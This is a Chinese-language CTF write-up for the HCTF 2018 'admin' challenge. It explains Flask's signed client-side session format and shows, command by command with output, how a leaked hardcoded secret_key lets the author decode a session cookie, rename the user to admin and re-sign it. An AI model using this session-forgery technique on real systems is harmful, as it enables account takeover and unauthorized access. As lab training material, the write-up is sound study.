[HCTF 2018]admin
0x00 过程
发现登录和注册界面,先注册一个用户:
登录后发现cookie里存在session,好像是jwt,但是解码后发现不是。
发现有post和更改密码的功能,post测试后发现无xss,更改密码功能是根据加密的session来提交,无法越权。
但在查看密码页面中发现了github地址:https://github.com/woadsl1234/hctf_flask
然后发现这道题应该不是逻辑题的思路……通过审查源码发现该站是flask,可以通过伪造session进入admin,翻看文件发现secret_key
:ckj123。
0x01 flask session
将session存储在客户端cookie中,最重要的就是解决session不能被篡改的问题。
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。
flask session 分析
flask对session的处理位于flask/sessions.py中,默认情况下flask的session以cookie的形式保存于客户端,利用签名机制来防止数据被篡改。
1
| .eJxF0EFrg0AUBOC_Ut45h3XVSyCHwm7Ew1vZsFF8l5Bao67dFNSwiSH_vSaF9jzwDTN3OJyGemxhPQ2XegWH7hPWd3j7gDVkibIllwxF6tWc3lAgLy05MmVIxa4nJz3ZvSenQxIyxCRv1SwjJVKmnLyi1TGZXZeZPsK5iVUifVZgWNq8J7Fr0ciYitwp-z6XVrLM4A35PijNdnHQq0JeyTaR4rlDUQWY7FkmNFOmmrFIryS2_WJZtOkGHiuoxuF0mL77-vw_YeHR6RvOmiHXESU6VoZaEhWnJ2EaT4n6WuoCxZ_1qiubzYvr3LGp_yRyk9b-Nzkf3RLAVI8TrOAy1sPrNggYPH4A7tpryw.Y1TA4A.PGk6Dl2hSo1v5A72lIsxPaXJJ3k
|
- 通过.隔开的3段内容,第一段其实就是base64 encode后的内容,但去掉了填充用的等号,若decode失败,自己需要补上1-3个等号补全。中间内容为时间戳,在flask中时间戳若超过31天则视为无效。最后一段则是安全签名,将sessiondata,时间戳,和flask的secretkey通过sha1运算的结果。
1
| json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
|
- 服务端每次收到cookie后,会将cookie中前两段取出和secretkey做sha1运算,若结果与cookie第三段不一致则视为无效。
- 从cookie获取session的过程便是验证签名->验证是否过期->解码。
漏洞成因
漏洞的根源是secretkey被获取,应当使用完全随机的secretkey,或在clone某项目后修改为随机的key。
需要特别注意的是python2与python3下产生的timestamp是不一样的!!
利用工具:
0x02 利用
下载flask-session-cookie-manager
,已知secret
为ckj123
,当前session为:
1
| .eJxF0EFrg0AUBOC_Ut45h3XVSyCHwm7Ew1vZsFF8l5Bao67dFNSwiSH_vSaF9jzwDTN3OJyGemxhPQ2XegWH7hPWd3j7gDVkibIllwxF6tWc3lAgLy05MmVIxa4nJz3ZvSenQxIyxCRv1SwjJVKmnLyi1TGZXZeZPsK5iVUifVZgWNq8J7Fr0ciYitwp-z6XVrLM4A35PijNdnHQq0JeyTaR4rlDUQWY7FkmNFOmmrFIryS2_WJZtOkGHiuoxuF0mL77-vw_YeHR6RvOmiHXESU6VoZaEhWnJ2EaT4n6WuoCxZ_1qiubzYvr3LGp_yRyk9b-Nzkf3RLAVI8TrOAy1sPrNggYPH4A7tpryw.Y1TA4A.PGk6Dl2hSo1v5A72lIsxPaXJJ3k
|
使用工具解密session,然后将session里的test用户替换成admin:
1 2 3 4 5 6 7
| shell> python flask_session_cookie_manager3.py decode -s ckj123 -c .eJxF0EFrg0AUBOC_Ut45h3XVSyCHwm7Ew1vZsFF8l5Bao67dFNSwiSH_vSaF9jzwDTN3OJyGemxhPQ2XegWH7hPWd3j7gDVkibIllwxF6tWc3lAgLy05MmVIxa4nJz3ZvSenQxIyxCRv1SwjJVKmnLyi1TGZXZeZPsK5iVUifVZgWNq8J7Fr0ciYitwp-z6XVrLM4A35PijNdnHQq0JeyTaR4rlDUQWY7FkmNFOmmrFIryS2_WJZtOkGHiuoxuF0mL77-vw_YeHR6RvOmiHXESU6VoZaEhWnJ2EaT4n6WuoCxZ_1qiubzYvr3LGp_yRyk9b-Nzkf3RLAVI8TrOAy1sPrNggYPH4A7tpryw.Y1TA4A.PGk6Dl2hSo1v5A72lIsxPaXJJ3k
{'_fresh': True, '_id': b'8ccca4020722036b6fe67eddfa0f50fd7d170ea7184246a1249e4b9983894a09c7b5dd4a119eef603b149323e5a1a7305a1f887ef0750e48445731b1d1db5c22', 'csrf_token': b'9ef2d23443d8dd956ad76eb1e80dce7357c23cbb', 'image': b'fkPC', 'name': 'test', 'user_id': '10'}
shell> python flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'8ccca4020722036b6fe67eddfa0f50fd7d170ea7184246a1249e4b9983894a09c7b5dd4a119eef603b149323e5a1a7305a1f887ef0750e48445731b1d1db5c22', 'csrf_token': b'9ef2d23443d8dd956ad76eb1e80dce7357c23cbb', 'image': b'fkPC', 'name': 'admin', 'user_id': '10'}"
.eJxF0EGLwjAUBOC_sryzhzRtL4KHhWRLDy8lElvyLuLW2jbduFCVaMX_vtWF3fPAN8zcYXsYm1MHy_N4aRaw7fewvMPbJyyhyJSzXDIUeVBTfkOB3DryZGxM1XogLwO5TSCvYxIyxqzs1CQTJXKmvLyi0ymZdV-YIcGpTVUmQ1FhbF05kFh3aGRKVemVe5-sk6wweEO-iaz5mB0MqpJXcm2ieOlR1BFmG1YIzZSpJ6zyK4mPYbYcunwFjwXUp_GwPX8PzfF_wsyj1zecNEOuE8p0qgx1JGpOT8K0gTL1NddFij_rVW_b1Yvr_a5t_iTyZ63Db3Lc-TmA3d73R1jA5dSMr98gYvD4AVqXbBQ.Y1TEoA.cNNCikWfk8OnehmanfDY5GMaznk
|
将session替换即可getflag:
0x03 参考
flask框架漏洞_JJT_with_hair的博客-CSDN博客_flask漏洞
Flask之session伪造_HackerTenG的博客-CSDN博客_flask session伪造
noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder (github.com)